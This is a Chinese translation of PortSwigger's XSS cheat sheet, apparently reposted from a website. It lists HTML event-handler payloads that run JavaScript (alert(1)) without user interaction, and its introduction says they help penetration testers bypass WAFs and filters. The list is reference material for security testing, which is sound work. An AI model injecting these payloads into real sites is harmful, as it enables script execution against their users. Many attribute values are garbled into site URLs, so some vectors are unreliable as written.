这是一份跨站脚本(XSS)备忘录,收集了大量的XSS攻击向量,包含了各种事件处理、通讯协议、特殊属性、限制字符、编码方式、沙箱逃逸等技巧,可以帮助渗透测试人员绕过WAF和过滤机制。
译者注:原文由Portswigger公司的Web安全学院于2019年定期更新,对的,就是那家开发著名渗透工具Burp suite的公司,最后更新时间:2019年11月8日星期五10:58:07。
事件处理不需要用户交互的事件处理程序
激活元素时触发(IE)
<a id=x tabindex=http://www.likecs.com/1 onactivate=alert(1)></a>页面打印后触发(Chrome、Firefox、IE)
<body onafterprint=alert(1)>CSS动画取消时触发(Firefox)
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x onanimationcancel="alert(1)"></a>CSS动画结束时触发(Chrome、Firefox、IE、Safari)
<style>@keyframes x{}</style><a onanimationend="alert(1)"></a>重复CSS动画时触发(Chrome、Firefox、IE、Safari)
<style>@keyframes slidein {}</style><a onanimationiteration="alert(1)"></a>CSS动画开始时触发(Chrome、Firefox、IE、Safari)
<style>@keyframes x{}</style><a onanimationstart="alert(1)"></a>在激活元素之前触发(IE)
<a id=x tabindex=http://www.likecs.com/1 onbeforeactivate=alert(1)></a>在停用元素之前触发(IE)
<a id=x tabindex=http://www.likecs.com/1 onbeforedeactivate=alert(1)></a><input autofocus>在页面打印前触发(Chrome、Firefox、IE)
<body onbeforeprint=alert(1)>网址更改后触发(Chrome)
<svg><animate onbegin=alert(1) attributeName=x dur=http://www.likecs.com/1s>svg动画开始时触发(Chrome、Firefox、Safari)
<svg><animate onbegin=alert(1) attributeName=x dur=http://www.likecs.com/1s>当元素失去焦点时触发(Chrome、IE、Safari)
<a onblur=alert(1) tabindex=http://www.likecs.com/1 id=x></a><input autofocus>选框弹跳时触发(Firefox、IE)
<marquee width=http://www.likecs.com/1 loop=http://www.likecs.com/1 onbounce=alert(1)>XSS</marquee>如果资源可以播放则触发(Chrome、Firefox、IE、Safari)
<audio oncanplay=alert(1)><source src="http://www.likecs.com/validaudio.wav" type="audio/wav"></audio>加载足够的数据以完全播放资源时触发(Chrome、Firefox、IE、Safari)
<video oncanplaythrough=alert(1)><source src="http://www.likecs.com/validvideo.mp4" type="video/mp4"></video>停用元素时触发(IE)
<a id=x tabindex=http://www.likecs.com/1 ondeactivate=alert(1)></a><input id=y autofocus>资源播放完毕时触发(Chrome、Firefox、IE、Safari)
<audio controls autoplay onended=alert(1)><source src="http://www.likecs.com/validaudio.wav" type="audio/wav"></audio>资源加载失败或导致错误时触发(Chrome、Firefox、IE、Safari)
<audio src/onerror=alert(1)>选框完成时触发(Firefox、IE)
<marquee width=http://www.likecs.com/1 loop=http://www.likecs.com/1 onfinish=alert(1)>XSS</marquee>当元素具有焦点时触发(Chrome、IE、Safari)
<a id=x tabindex=http://www.likecs.com/1 onfocus=alert(1)></a>当元素具有焦点时触发(Chrome、IE、Safari)
<a id=x tabindex=http://www.likecs.com/1 onfocusin=alert(1)></a>当元素失去焦点时触发(Chrome、IE、Safari)
<a onfocusout=alert(1) tabindex=http://www.likecs.com/1 id=x></a><input autofocus>如果哈希值更改,则触发(Chrome、Firefox、IE、Safari)
<body onhashchange=http://www.likecs.com/"alert(1)">加载元素时触发(Safari)
<svg><a onload=alert(1)></a>加载第一帧时触发(Chrome、Firefox、IE、Safari)
<audio onloadeddata=alert(1)><source src="http://www.likecs.com/validaudio.wav" type="audio/wav"></audio>加载元数据时触发(Chrome、Firefox、IE、Safari)
<audio autoplay onloadedmetadata=alert(1)> <source src="http://www.likecs.com/validaudio.wav" type="audio/wav"></audio>当元素完成加载时触发(Firefox)
<image src=http://www.likecs.com/validimage.png onloadend=alert(1)>当元素开始加载时触发(Firefox)
<image src=http://www.likecs.com/validimage.png onloadstart=alert(1)>当从postMessage调用接收到消息事件时触发(Chrome、Firefox、IE、Safari)
<body onmessage=alert(1)>显示页面时触发(Chrome、Firefox、IE、Safari)
<body onpageshow=alert(1)>播放资源时触发(Chrome、Firefox、IE、Safari)
<audio autoplay onplay=alert(1)><source src="http://www.likecs.com/validaudio.wav" type="audio/wav"></audio>触发资源正在播放(Chrome、Firefox、IE、Safari)
<audio autoplay onplaying=alert(1)><source src="http://www.likecs.com/validaudio.wav" type="audio/wav"></audio>历史记录更改时触发(Chrome、Firefox、IE、Safari)
<body onpopstate=alert(1)>